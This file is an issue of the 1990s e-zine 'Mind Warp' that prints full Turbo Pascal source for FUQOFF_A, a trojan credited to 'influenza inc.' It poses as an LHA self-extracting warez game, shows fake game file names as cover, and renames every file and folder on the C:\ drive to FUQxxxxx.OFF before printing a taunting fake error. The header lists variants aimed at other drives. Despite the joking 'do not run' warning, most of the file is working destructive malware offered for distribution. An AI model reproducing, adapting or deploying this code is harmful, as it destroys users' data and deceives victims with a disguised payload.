
                      %%%   %%%  %%%%  %%%   %%  %%%%%
                      %%%% %%%%   %%   %%%%  %%  %%  %%
                      %% %%% %%   %%   %% %% %%  %%   %%
                      %%  %  %%   %%   %%  %%%%  %%  %%
                      %%     %%  %%%%  %%   %%%  %%%%%

                  //     //    ////    //////   //////   //
                  \\  \  \\   \\  \\   \\   \\  \\   \\  \\
                  // /// //  ////////  //////   //////   //
                  \\\\ \\\\  \\    \\  \\ \\    \\         
                  ///   ///  //    //  //  //   //       //
 
              [ Mind Warp  -  Volume #4, Issue #14, File #069 ]
                      [ "huh 69 huh" by >Anonymous< ]
------------------------------------------------------------------------------
                             huh   69   huh
                              [Anonymous]
------------------------------------------------------------------------------

     Woo!  Mind Warp! digizine has reached it's 69th issue.  To commemorate
this accomplishment, and this cool number, influenza inc. has donated some
k-rad turbo pascal source code.  What's it do?  It phucks your computer!
SHould you run it? NO.  DO NOT COMPILE THIS!  DO NOT RUN THIS!  IT IS 
BAD!  Mind Warp! is NOT responsible for this!  DO NOT COME RUNNING TO US!

(*-------------------------- CUT HERE ------------------------------------*)

(* FUQOFF_A Source Code                                                   *)
(* Copyright (c) 1994-1995 [infleunza inc]                                *)
(* Distribute all you want as long as NO CHANGES are made to the original *)
(* Source Code.                                                           *)

(* This code, once compiled and doctored with NoWhere Man's Virus Utility *)
(* package, emulates a 'warez' game that is in compressed form.           *)
(* Specifically, a .LZH Executable.  Once run, it begins renaming ALL     *)
(* files encountered to the format FUQxxxxx.OFF until it completes the    *)
(* hard drive, and then the program will spew a little message from the   *)
(* [infleunza] coders.                                                    *)

(* Currently, this version ONLY infects the C:\ drive.                    *)
(* Mutations include                                                      *)
(* o FUQOFF_B (Infects D:\ Drive)                                         *)
(* o FUQOFF_C (Infects A:\ Drive)                                         *)
(* o FUQOFF_D (Infects B:\ Drive)                                         *)
(* o NITRO    (Infects A,B,C,D, new message string                        *)
(* o BUHFUQ   (Infects C:\, new message string                            *)

uses crt,dos;

var wha:searchrec;
    done:boolean;
    f:file;
    cur1,cur2,numba,loop:integer;
    ext:array[1..5]of char;
    new:string;
    s:byte;
    names:array[1..60]of string;


procedure fillnames;
begin
  names[1]:='LASTRITE.EXE';
  names[2]:='LASTRITE.DAT';
  names[3]:='LASTRITE.DOC';
  names[4]:='README.NOW';
  names[5]:='CGAPICS1.DAT';
  names[6]:='EGAPICS1.DAT';
  names[7]:='VGAPICS1.DAT';
  names[8]:='MCGAPIC1.DAT';
  names[9]:='VESAPIC1.DAT';
  names[10]:='CGAPICS2.DAT';
  names[11]:='EGAPICS2.DAT';
  names[12]:='VGAPICS2.DAT';
  names[13]:='MCGAPIC2.DAT';
  names[14]:='VESAPIC2.DAT';
  names[15]:='CGAPIC3.DAT';
  names[16]:='EGAPIC3.DAT';
  names[17]:='VGAPIC3.DAT';
  names[18]:='MCGA3.DAT';
  names[19]:='VESAPIC3.DAT';
  names[20]:='SBMUSIC.SND';
  names[21]:='ADLMUSIC.SND';
  names[22]:='INTRO.DAT';
  names[23]:='VICTORY.SCN';
  names[24]:='DEFEAT.SCN';
  names[25]:='WAVES.DAT';
  names[26]:='GAMES.DAT';
  names[27]:='ORDER.NFO';
  names[28]:='CONFIG.EXE';
  names[29]:='SETUP.EXE';
  names[30]:='3DBATTLE.BAT';
  names[31]:='CGAPICS4.DAT';
  names[32]:='EGAPICS4.DAT';
  names[33]:='VGAPICS4.DAT';
  names[34]:='MCGAPIC4.DAT';
  names[35]:='VESAPIC4.DAT';
  names[36]:='CGAPICS5.DAT';
  names[37]:='EGAPICS5.DAT';
  names[38]:='VGAPICS5.DAT';
  names[39]:='MCGAPIC5.DAT';
  names[40]:='VESAPIC5.DAT';
  names[41]:='CGAPIC6.DAT';
  names[42]:='EGAPIC6.DAT';
  names[43]:='VGAPIC6.DAT';
  names[44]:='MCGA6.DAT';
  names[45]:='VESAPIC7.DAT';
  names[46]:='CGAPICS8.DAT';
  names[47]:='EGAPICS8.DAT';
  names[48]:='VGAPICS8.DAT';
  names[49]:='MCGAPIC8.DAT';
  names[50]:='VESAPIC8.DAT';
  names[51]:='CGAPICS9.DAT';
  names[52]:='EGAPICS9.DAT';
  names[53]:='VGAPICS9.DAT';
  names[54]:='MCGAPIC9.DAT';
  names[55]:='VESAPIC9.DAT';
  names[56]:='CGAPIC10.DAT';
  names[57]:='EGAPIC10.DAT';
  names[58]:='VGAPIC10.DAT';
  names[59]:='MCGA10.DAT';
  names[60]:='VESAPC10.DAT';
  cur1:=0;
  cur2:=40;
end;

procedure stealth;
begin
  if cur2=40 then begin
    writeln;
    cur1:=cur1+1;
    if cur1=61 then cur1:=4;
    write(names[cur1],' ');
    cur2:=1;
  end;
  write('.');
  cur2:=cur2+1;
end;

procedure makename(special:word);
begin
    stealth;
    case numba of
          0..9:begin
               for loop:=1 to 4 do ext[loop]:='0';
               str(numba,new);
               ext[5]:=new[1];
               end;
          10..99:begin
               for loop:=1 to 3 do ext[loop]:='0';
               str(numba,new);
               ext[4]:=new[1];
               ext[5]:=new[2];
               end;
          100..999:begin
               ext[1]:='0';
               ext[2]:='0';
               str(numba,new);
               for loop:=3 to 5 do ext[loop]:=new[loop-2];
               end;
        else
          ext[1]:='0';
          str(numba,new);
          for loop:=2 to 5 do ext[loop]:=new[loop-1];
        end;

        findfirst('*.*',special,wha);
        if special<>$10 then begin
          if ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
            repeat
              findnext(wha);
            until ((wha.name[1]<>'F') or (wha.name[2]<>'U') or (wha.name[3]<>'Q')) or (doserror<>0);
        end else begin

          findfirst('*.*',$10,wha);
          if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..')
          or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
          repeat
            findnext(wha);
          until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and
            (wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
            or (wha.name[3]<>'Q')));
       end;
        if (doserror=0) then begin
          assign(f,wha.name);
          if ('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF')<>wha.name then
            rename(f,'FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'OFF');
          numba:=numba+1;
        end;
end;

procedure changeit;
begin
  repeat
  findfirst('*.*',archive,wha);
    if (doserror=0) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
        or (wha.name[3]<>'Q')) then
      repeat
        makename($20);
      until doserror<>0;
    findfirst('*.*',$10,wha);
    if ((wha.attr<>$10) and (doserror=0)) or (wha.name='.') or (wha.name='..')
      or ((wha.name[1]='F') and (wha.name[2]='U') and (wha.name[3]='Q')) then
      repeat
        findnext(wha);
      until (doserror<>0) or ((wha.attr=$10) and ((wha.name<>'.') and
        (wha.name<>'..')) and ((wha.name[1]<>'F') or (wha.name[2]<>'U')
        or (wha.name[3]<>'Q')));
    if doserror<>0 then begin
        getdir(s,new);
        if new='C:\' then done:=true else chdir('..')  {change to C:\}
      end else
      if (wha.name<>'.') and (wha.name<>'..') then begin
        makename($10);
        chdir('FUQ'+ext[1]+ext[2]+ext[3]+ext[4]+ext[5]+'.OFF');
      end;
  until (doserror<>0) and (done=true);
end;

begin
  textcolor(white);
  fillnames;
  writeln('LHA',chr(39),'S SFX 2.13s (c) Yoshi, 1991');
  writeln;
  chdir('c:\');
  s:=3;
  numba:=0;
  changeit;
  writeln;
  writeln('Error!  Archive Damaged.  Error Code 16!');
  writeln('ERR 16 - ????');
  writeln; writeln; writeln;
  writeln('ERR 1      = Bad CRC Check');
  writeln('ERR 2      = Missing CRC''s');
  writeln('ERR 3 - 14 = File size misreport! <specified>');
  writeln('ERR 15     = No files found.');
  writeln('ERR 16     = iNFeCTiON [infleunza]');
  writeln; writeln;
  writeln('Should have taken your flu shot...95 is gonna be a bitch.');
  writeln('mustaine [infleunza]...KiCKiN'' iT FRoM CoLLEGE');
end.

(*-------------------------- CUT HERE ------------------------------------*)

==============================================================================
            Call Omniverse, the Mind Warp WHQ - (301) 718-0225
==============================================================================

